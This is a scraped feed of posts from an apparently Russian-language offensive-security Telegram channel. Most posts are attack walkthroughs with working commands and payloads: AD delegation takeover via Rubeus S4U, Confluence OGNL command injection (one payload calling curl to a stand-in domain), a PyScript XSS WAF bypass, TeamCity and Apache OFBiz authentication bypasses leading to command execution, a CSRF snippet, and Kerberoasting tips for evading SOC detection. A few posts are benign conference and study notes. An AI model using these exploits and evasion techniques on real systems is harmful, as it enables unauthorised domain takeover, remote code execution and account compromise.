Computer Object Takeover
Завершая играться с AD, нашел достаточно интересный сценарий, связанный с абьюзом
Если в сетке есть пользователь с правами
Данный сценарий возможен, т.к🔥
Для этого мы создаем новую учетку тачки. По дефолту параметр
SID в принципе и сами можете вставить, но решил чуть облегчить процесс 🐈
После этого можно использовать тот же
И затем юзаем
Для облегчения я юзал PowerMad и PowerView
Bye-bye🎧
Завершая играться с AD, нашел достаточно интересный сценарий, связанный с абьюзом
GenericЕсли в сетке есть пользователь с правами
GenericWrite, то возможно зайти с повышенными привилегиями на другой тачкеДанный сценарий возможен, т.к
Generic позволяет изменять DACL Для этого мы создаем новую учетку тачки. По дефолту параметр
ms-DS-MachineAccountQuota позволяет всем пользователям домена добавлять до 10 учетных записей машинNew-MachineAccount -MachineAccount aboba -Password $(ConvertTo-SecureString
'Test@123' -AsPlainText -Force)
$ComputerSid = Get-DomainComputer -Domain dev.domain.local aboba -Properties objectsid | select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDenoscriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc02.domain.local | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}После этого можно использовать тот же
Rubeus, для получения RC4-хэша. Rubeus.exe hash /user:aboba /password:Test@123 /domain:dev.domain.localИ затем юзаем
s4u для повышения своих привилегий за счет получения TGSRubeus.exe s4u /user:aboba$ /rc4:4E35B802576F770E77851BAB9D4AE172 /impersonateuser:administrator /msdsspn:cifs/dc02.domain.local /pttДля облегчения я юзал PowerMad и PowerView
Bye-bye
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - Kevin-Robertson/Powermad: PowerShell MachineAccountQuota and DNS exploit tools
PowerShell MachineAccountQuota and DNS exploit tools - Kevin-Robertson/Powermad
❤6👍4🌭2
Всем, ку
В этом году, на OFFZONE помогаю с бейджами. Надеюсь, что они работают хорошо и стабильно (хотя проблемы есть у некоторых)✨
Всем хорошо провести мероприятие😇
В этом году, на OFFZONE помогаю с бейджами. Надеюсь, что они работают хорошо и стабильно (хотя проблемы есть у некоторых)
Всем хорошо провести мероприятие
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6❤5
OGNL and sandboxes
Существует такая вещь в
Спустя время, выяснилось, что через😻
Разберу пару вулн в
При рендеринге странице, есть спрятанный параметр😑
Именно он дает нам возможность, поиграться с
Потом нашли проблему в URI. Просто кидай пейлоад сразу в корень(не забудь энкодить) 👍
Увы и ах, но спустя время и это тоже пофиксили. Однако, MCKSysAr нашел байпасс.
Самое банальное - это использовать
Дальше, один из экспертов решил пойти глубже и начал смотреть
Самое вкусное было найдено в
Всем удачи😇
Существует такая вещь в
Java, как Object Graph Notation Language (OGNL) еще один Expression language. Чаще всего данный фреймворк можно заметить в продуктах Apache и Attlasian OGNL вызывает методы несколько иначе, чем Java, поскольку OGNL интерпретируется и должен выбрать нужный метод во время выполнения программы, не имея никакой дополнительной информации о типе, кроме собственно предоставленных аргументов. OGNL всегда выбирает наиболее специфичный метод, типы которого соответствуют заданным аргументамСпустя время, выяснилось, что через
OGNL можно также сделать Command Injection. Метод эксплуатации чем-то напоминает SSTI Разберу пару вулн в
Confluence. Проблемы появлялись из-за isSafeExpressionПри рендеринге странице, есть спрятанный параметр
queryString Именно он дает нам возможность, поиграться с
Java queryString=aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022java.lang.Runtime\u0022).getMethod(\u0022getRuntime\u0022,null).invoke(null,null).exec(\u0022curl your-domain.com\u0022)}%2b\u0027Потом нашли проблему в URI. Просто кидай пейлоад сразу в корень
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Qualys-Response",#a))}Увы и ах, но спустя время и это тоже пофиксили. Однако, MCKSysAr нашел байпасс.
Самое банальное - это использовать
Class, вместо class. Или использовать конкатенацию строк.Дальше, один из экспертов решил пойти глубже и начал смотреть
Abstract Syntax Tree (AST). Как оказалось, AST давал много векторов, для обхода ограниченийСамое вкусное было найдено в
BeanMap, который позволял сделать, уже полноценный байпасс(#@org.apache.commons.beanutils.BeanMap@\\u007b\\u007d).(setBean(''),get('cla'+'ss').forName('javax'+'.noscript.ScriptEngineManager').newInstance().getEngineByName('js').eval('7*7'))Всем удачи
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7🔥3❤1
Forwarded from SHADOW:Group
Иногда бывает полезно посмотреть
customElements.define() в библиотеках и внутреннем JS-коде. Эта функция регистрирует новые элементы DOM, и WAF свободно пропускает их.На скрине внизу показан стандартный JS для PyScript, в котором создается элемент
<py-noscript>, что приводит к интересному байпасу:<py-noscript>'\74img/src/onerror\75alert(domain)\76'</py-noscript>
Попробовать самостоятельно можно тут.#web #xss
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6❤2
Token that gives me power
Наверно кто-то слышал про новую проблему в JetBrains TeamCity, связанная с
В целом стоит начать, что
Ребята нашли интересный дифф в методе
Отсюда мы имеем следующий сценарий
Получаем токен администратора
С его помощью, мы теперь можем создать пользователя с админскими правами
Но, мы можем пойти дальше и докрутить до RCE. Первым делом включаем дебаг (токен здесь также потребуется)
Не забываем все это применить к текущему конфигу
И теперь мы имеем возможность исполнять команды
Не забываем удалять токен
Наверно кто-то слышал про новую проблему в JetBrains TeamCity, связанная с
RPC2В целом стоит начать, что
TeamCity используется для автоматизированной сборки и тестирования ПО. А он написан на JavaРебята нашли интересный дифф в методе
XmlRpcController.getPathSuffix. Точнее был прикол, связанный с wildcard path. Плюс TeamCity использует фреймворк Spring, а там существует интерцептор, который позволяет модифицировать входящие HTTP-запросы (thx to riven). По этим и другим причинам, любой входящий HTTP-запрос, имеющий путь /**/RPC2, не будет подвергаться проверке аутентификации. А значит мы можем использовать API-ручки для получения токенов почти любых пользователей и для дальнейшего создания собственного юзера. /app/rest/users/<userLocator>/tokens/<tokenName>Отсюда мы имеем следующий сценарий
Получаем токен администратора
POST /app/rest/users/id:1/tokens/RPC2С его помощью, мы теперь можем создать пользователя с админскими правами
POST localhost:8111/app/rest/users -H "Content-Type: application/json" --data "{\"username\": \"monkey1\", \"password\": \"monkey\", \"email\": \"monkey\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}" -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.eWaBWGhGSFBZVHB4WvAxNEptVmhQUkkxN0VF.MjhmYTY2MjUtNjZhNy00OTQ0LTk4LmItYzI1N2Q3MjIwMzE2"Но, мы можем пойти дальше и докрутить до RCE. Первым делом включаем дебаг (токен здесь также потребуется)
POST /admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=trueНе забываем все это применить к текущему конфигу
POST /admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.propertiesИ теперь мы имеем возможность исполнять команды
POST /app/rest/debug/processes?exePath=idDELETE /app/rest/users/id:1/tokens/RPC2🌭7👍4❤3🗿2
Forwarded from frozen@rivens.life (Danila Sashchenko)
То, что уже не должно встречаться, но все еще встречается (#bb_tips?).
Во время проекта наткнулся на функциональность изменения профиля. Ну и, понятное дело, не проверить
Не многие знают, но есть 1 способ, как можно сделать из сложного запроса простой. Вместо
Сразу хочется отметить, что
Во время проекта наткнулся на функциональность изменения профиля. Ну и, понятное дело, не проверить
CSRF было бы грехом. Однако, общение с бэкендом происходит через Rest с использованием Content-type: application/json. Это значит, что запрос будет сложным и значит, что легкого пути в эксплуатации CSRF быть не должно. Ведь так..? Не многие знают, но есть 1 способ, как можно сделать из сложного запроса простой. Вместо
application/json ставим application/x-www-form-urlencoded, а тело запроса оставляем прежним :). Сразу хочется отметить, что
burp не сгенерирует полезную нагрузку, поэтому вот сниппет, которым можно воспользоваться:<noscript>
let req = new XMLHttpRequest();
req.open("POST", "https://vulnerable.host/api/profile/update", false);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.withCredentials = true;
var params = '{"first_name":"riven","last_name":"riven","birthday":"01/01/1337", "password":"pwned"}';
console.log(params);
req.send(params);
</noscript>👍7🌭2
Please, provide command…
Когда-то я собирал список инструментов для проксирования трафика. В этот раз я посмотрел некоторые C2 и решил поделиться небольшим списком.🔥
Sliver - это пожалуй один из самых популярных C2 на данный момент. Он поддерживает различные протоколы, включая👍
Mythic - как и Sliver, Mythic является достаточно популярным C2, плюс у него очень приятный UI. Для Mythic есть много различных агентов. Ну и никто не мешает написать собственный, а документация у данного инструмента приятная
Merlin - данный C2 популярен за обширность предоставляемых модулей для
Godoh - самый простой C2, однако для коннекта использует протокол🙂
Havoc - очень похож на
PoshC2 - тулза немного устаревшая, но показалось интересной за счет модулей, основанных на
По детекту понравилась статья от ProjectDiscovery
Наверно все🚶♀️
Пока писал, тут выкатили статью по C2C
Когда-то я собирал список инструментов для проксирования трафика. В этот раз я посмотрел некоторые C2 и решил поделиться небольшим списком.
Sliver - это пожалуй один из самых популярных C2 на данный момент. Он поддерживает различные протоколы, включая
HTTP, WireGuard, DNS и т.д. Плюс, был недавно набор статей по его кастомизации Mythic - как и Sliver, Mythic является достаточно популярным C2, плюс у него очень приятный UI. Для Mythic есть много различных агентов. Ну и никто не мешает написать собственный, а документация у данного инструмента приятная
Merlin - данный C2 популярен за обширность предоставляемых модулей для
AD, но только не каждый из них корректно работает. Автор заявлял, что агент можно легко модифицировать под себя, но в пабликах не видел агентов, основанных на немGodoh - самый простой C2, однако для коннекта использует протокол
DNS-over-HTTPS Havoc - очень похож на
Cobalt Strike, имеет в себе много различных модулей. Его фичей считают Sleep obfuscation, основанный на Ekko (thx to D00Movenok )PoshC2 - тулза немного устаревшая, но показалось интересной за счет модулей, основанных на
C# (хотя поддерживает еще модули, основанные на Python)По детекту понравилась статья от ProjectDiscovery
Наверно все
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11🌭3🔥1
Мне как-то стало интересно, каким образом фиксируются манипуляции с Kerberos, поэтому решил порыть базовые вещи. Разбираться будем сегодня с
Мы можем видеть, что он отправляет следующий
Тут уже начинается детект у многих. Вся проблема в
Многие знают про некий даунгрейд тикета с AES на RC4. По факту, ничего не мешает сервисной учетке поддерживать RC4 и AES128/256 одновременно, поэтому мы можем запросить, запросить тикет не с AES, а с RC4, поэтому и сбрутать креды будет намного легче. В Rubeus с этим помогает флаг
Попробуем немного углубиться в содержимое тикета, если конкретнее то в его флаги. Эти 32-битные флаги называют
Интересным решением для обнаружения атак является использование фейковых УЗ с SPN, данный момент мне подчеркнул один из моих коллег. Обычно стоит обращать внимание на
Bye-bye✨
TGS Rubeus.exe kerberoast /nowrap
Мы можем видеть, что он отправляет следующий
LDAP запрос(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))
(samAccountType=805306368) - получаем доменных пользователей(servicePrincipalName=*) - получаем все SPN в домене(!samAccountName=krbtgt) - убираем из вывода krbtgt(!(UserAccountControl:1.2.840.113556.1.4.803:=2)) - смотрим, что УЗ не заблокирована.Тут уже начинается детект у многих. Вся проблема в
servicePrincipalNames=*, который SOC ловит, т.к мы получаем список всех SPN. Лучше определить учетные записи с SPN и только потом делать уже запрос Rubeus.exe kerberoast /nowrap /user:svc_chat /spn:HTTP/sus.monkey.local
Многие знают про некий даунгрейд тикета с AES на RC4. По факту, ничего не мешает сервисной учетке поддерживать RC4 и AES128/256 одновременно, поэтому мы можем запросить, запросить тикет не с AES, а с RC4, поэтому и сбрутать креды будет намного легче. В Rubeus с этим помогает флаг
/tgtdeleg. Однако, в идеале тикеты и его содержимое мониторят.Попробуем немного углубиться в содержимое тикета, если конкретнее то в его флаги. Эти 32-битные флаги называют
KDCOptions. Нормальным поведением является, если значение KDCOptions равно 0x40810000, однако при попытке поиграться с тикетами, мы можем заметить другое значение 0x40810010. Если их сравнивать, то можем понять, что нам надо избавиться от Renewable-OK, и с этим уже может помочь тулза Orpheus, которая подправит флаги.Интересным решением для обнаружения атак является использование фейковых УЗ с SPN, данный момент мне подчеркнул один из моих коллег. Обычно стоит обращать внимание на
LastLogon, который может намекнуть на фальшивость УЗ. Ну и наличие высоких привилегий, тоже дает намекBye-bye
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8🌭4❤3👎1
Пора и мне сказать что-то ✨
В этом году я очень старался повысить свои навыки, а вы могли наблюдать тем, что я балансировал между разными темами в своих постах. С одним автором другого ИБ-канала я общался и обсуждал рынок ИБ, другие авторы меня вдохновляли, направляли и просто показывали свои находки, ресерчи и наработки.
По активностям год был веселый. На🎧
Было хорошо? Не знаю, но думаю, что я нашел курс своего развития, где-то на ближайшие полгода. Под конец года, постов стало меньше, т.к задач по работе было не мало, да и учеба тоже дает знаки о себе.
В завершении скажу, что все молодцы! Пусть каждый отдохнет на праздниках, пусть каждый будет получать удовольствие от своего дела, пусть каждый будет здоровым!✨
Счастье для всех, даром, и пусть никто не уйдет обиженный!
В этом году я очень старался повысить свои навыки, а вы могли наблюдать тем, что я балансировал между разными темами в своих постах. С одним автором другого ИБ-канала я общался и обсуждал рынок ИБ, другие авторы меня вдохновляли, направляли и просто показывали свои находки, ресерчи и наработки.
По активностям год был веселый. На
PHD, я сидел и тыкал IDS Bypass, помогал в проведении OFFZONE 2023, ну и Standoff 12 тоже не прошел мимо. Надо попробовать быть более активным в следующем году. Было хорошо? Не знаю, но думаю, что я нашел курс своего развития, где-то на ближайшие полгода. Под конец года, постов стало меньше, т.к задач по работе было не мало, да и учеба тоже дает знаки о себе.
В завершении скажу, что все молодцы! Пусть каждый отдохнет на праздниках, пусть каждый будет получать удовольствие от своего дела, пусть каждый будет здоровым!
Счастье для всех, даром, и пусть никто не уйдет обиженный!
Please open Telegram to view this post
VIEW IN TELEGRAM
❤16🔥4🌭4👏2👎1
Oh yes, ping pong
Под конец прошлого года, прошла шумиха с Apache Ofbiz, который позволял сделать байпас аутентификации и проабьюзать😺
Суть заключается в том, что
Тут все начинается с
Дальше идем в
Т.е по факту, мы тупо можем обойти проверку, путем вставки любого символа ему, и плюс
Поэтому мы можем дергать ручки
А через серелиализацию, мы передаем наш шелл, который можно сделать через ysoserial
Под конец прошлого года, прошла шумиха с Apache Ofbiz, который позволял сделать байпас аутентификации и проабьюзать
XML-RPC. Решил глянуть, что это было и как оно происходит Суть заключается в том, что
XML-RPC, по логике можно использовать только с валидными кредами, но глянем на сам момент аутентификации юзера в LoginWorker.javaList<String> unpwErrMsgList = new LinkedList<String>();
if (UtilValidate.isEmpty(username)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.username_was_empty_reenter", UtilHttp.getLocale(request)));
}
if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.password_was_empty_reenter", UtilHttp.getLocale(request)));
}
boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));
if (!unpwErrMsgList.isEmpty()) {
request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList);
return requirePasswordChange ? "requirePasswordChange" : "error";
}
Тут все начинается с
requirePasswordChange, который не обращает внимание на то, введет ли юзер валидные креды. Если юзер в качестве параметра отдает Y, то метод login(HttpServletRequest request, HttpServletResponse response) вернет строку requirePasswordChangeДальше идем в
checkLogin() и там уже идет следующий моментif (username == null
|| (password == null && token == null)
|| "error".equals(login(request, response)))
Т.е по факту, мы тупо можем обойти проверку, путем вставки любого символа ему, и плюс
"error".equals(login(request, response)) не будет срабатывать, т.к мы заставили login(...) вернуть requirePasswordChangeПоэтому мы можем дергать ручки
XML-RPC/webtools/control/ping?USERNAME=&PASSWORD=s&requirePasswordChange=Y
А через серелиализацию, мы передаем наш шелл, который можно сделать через ysoserial
POST /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Length: 4002
Content-Type: application/xml
<?xml version="1.0"?>
<methodCall>
<methodName>Methodname</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">serialized_shell</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11👍3🌭2🔥1
Kubectl apply
Йо, сегодня я принес несколько ссылочек, где можно почитать про работу различных компонентов в✨ . У меня изначально появился интерес к куберовским ✨
▪️ Как работает K8S в общих чертах
▪️ Docker Containers vs. Kubernetes Pods
▪️ Kubernetes multi-container pods and container communication
▪️ Чуть потыкаться с сервисами
▪️ Почитать про
▪️ Accessing the Kubernetes API
▪️ Kubernetes namespaces isolation
▪️ Understanding service accounts and tokens
▪️ Kubernetes API Basics
Плюс, если кому-то будет интересно, то тут есть мини туториал по
Йо, сегодня я принес несколько ссылочек, где можно почитать про работу различных компонентов в
k8s. К такой идее я пришел после того, как решил поизучать принцип работы Docker, и тут можно потыкать ссылочки про него namespace, которые по факту создают некую изоляцию кластеров (а эта изоляция предусматривает те же ограничения на API и т.п), ну и потом интерес пошел еще дальше. Подборка довольна скромная, но надеюсь, что кому-то будет интересно RBAC можно тут, тут и тутПлюс, если кому-то будет интересно, то тут есть мини туториал по
containerd и как его тыкатьPlease open Telegram to view this post
VIEW IN TELEGRAM
❤8🌭4
У меня тут есть знакомый, который решил рассказывать про ИБ с перспективы менеджера, поэтому гляньте, может будет кому-то интересно почитать про опыт от манагера до манагера пентеста
🔥1
Forwarded from Red Team Manager
Вопрос собесов - один из самых популярных. Что надо знать, как собесят и как собесить - постарался кратко рассказать в своем посте.
https://teletype.in/@redteammanager/C-SNExDWeez
https://teletype.in/@redteammanager/C-SNExDWeez
Teletype
Собесы в пентест
Пора разобрать самую популярную тему, связанную с менеджментом, а именно - собесы. Собеседование кандидата является очень стрессовым...
🔥4🗿3❤1
First hop, second hop
Как-то увидел понятие
1. Клиент использует
2. Клиент с Server-A хочет пойти на Server-B, но ничего не получается😺
Это происходит в
Используем
Попробуем использовать
Не забываем применить это все, путем🕺
Теперь когда мы будем обращаться к Server-B, то никаких проблем не будет за счет предоставленных кред, а так же можем наблюдать наличие тикетов для нужных ресурсов.
Еще почитать про это можно тут, тут и тут😇
Как-то увидел понятие
Double Hop в Kerberos. Думал, что ничего в нем нет, но решился глянуть что это. 1. Клиент использует
TGT для запроса TGS с которым пойдет к Server-A2. Клиент с Server-A хочет пойти на Server-B, но ничего не получается
Это происходит в
Kerberos потому, что Server-A не имеет TGT-клиента и его креденшалы просто не кешируются. Поэтому не будет способа доказать, что попытка аутентификации является действительной.Используем
PSExec и проблем не будет, т.к NTLM будет памяти. Однако представим, что PSExec нам не доступен и мы решили использовать WinRM. Но вот WinRM не даст нам коннекта, если мы попробуем запрыгнуть уже на второй хост, через первый, т.к кредов нет Попробуем использовать
PSCredential, чтобы как-то просто ходить к Server-BPS C:\Users\sas\Documents> $SecPassword = ConvertTo-SecureString 'I_w@s_tir3d' -AsPlainText -Force
PS C:\Users\sas\Documents> $Cred = New-Object System.Management.Automation.PSCredential('MONKEY\admin', $SecPassword)
Не забываем применить это все, путем
Register-PSSessionConfiguration PS C:\Users\sas\Documents> Register-PSSessionConfiguration -Name admin -RunAsCredential MONKEY\admin
PS C:\Users\sas\Documents> Restart-Service WinRM
PS C:\Users\sas\Documents> Enter-PSSession -ComputerName TEST02 -Credential MONKEY\admin -ConfigurationName admin
Теперь когда мы будем обращаться к Server-B, то никаких проблем не будет за счет предоставленных кред, а так же можем наблюдать наличие тикетов для нужных ресурсов.
Еще почитать про это можно тут, тут и тут
Please open Telegram to view this post
VIEW IN TELEGRAM
TECHCOMMUNITY.MICROSOFT.COM
Understanding Kerberos Double Hop | Microsoft Community Hub
First published on TechNet on Jun 13, 2008 Hi, Steve here.
🔥7❤4👍2🌭2